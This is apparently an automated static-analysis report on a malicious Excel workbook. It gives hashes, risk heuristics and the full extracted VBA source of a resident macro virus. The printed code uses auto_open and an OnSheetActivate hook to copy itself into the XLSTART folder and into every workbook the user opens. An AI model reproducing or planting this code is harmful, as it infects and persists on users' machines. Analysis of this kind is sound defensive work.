Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 5255d70bcd25a20f…

MALICIOUS

Office (OLE) / .XLS

68.5 KB Created: 2012-06-04 09:27:13 Authoring application: Microsoft Excel First seen: 2026-06-28
MD5: 93c3f312e82c7d1cc86b2376e8ac07c3 SHA-1: 9f71cac8c139894e603ebcc05c334028b99de814 SHA-256: 5255d70bcd25a20f90b5a7ebd0c6a4371edaa9dcb956cda2ee956dbdbe738f8b
208 Risk Score

Heuristics 6

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      With CreateObject("VBScript.RegExp")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      With CreateObject("VBScript.RegExp")
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = "check_files"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2670 bytes
SHA-256: b8fb8e536f2e78ae1d59b4b2b4a63131f2024e7ddf04cc8af84e7815ab53721f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SGV"

Function ValExp(ByVal Exp As String) As Double
  Dim Tmp As String
  On Error Resume Next
  Tmp = Replace(Exp, "[", "(")
  Tmp = Replace(Tmp, "]", ")")
  Tmp = Replace(Tmp, "{", "(")
  Tmp = Replace(Tmp, "}", ")")
  Tmp = Replace(Tmp, "x", "*")
  Tmp = Replace(Tmp, ":", "/")
  With CreateObject("VBScript.RegExp")
    .Global = True
    .Pattern = "[^0-9,+,.,*,/,:,(,),-]"
    ValExp = Evaluate(.Replace(Tmp, ""))
  End With
End Function



































Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "SGV.XLS")
    If m$ = "SGV.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("SGV").Visible = True
    Sheets("SGV").Select
    Sheets("SGV").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs filename:=Application.StartupPath & "/" & "SGV.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("SGV").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "SGV" Then
        Workbooks("SGV.XLS").Sheets("SGV").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("SGV").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case Else
End Select
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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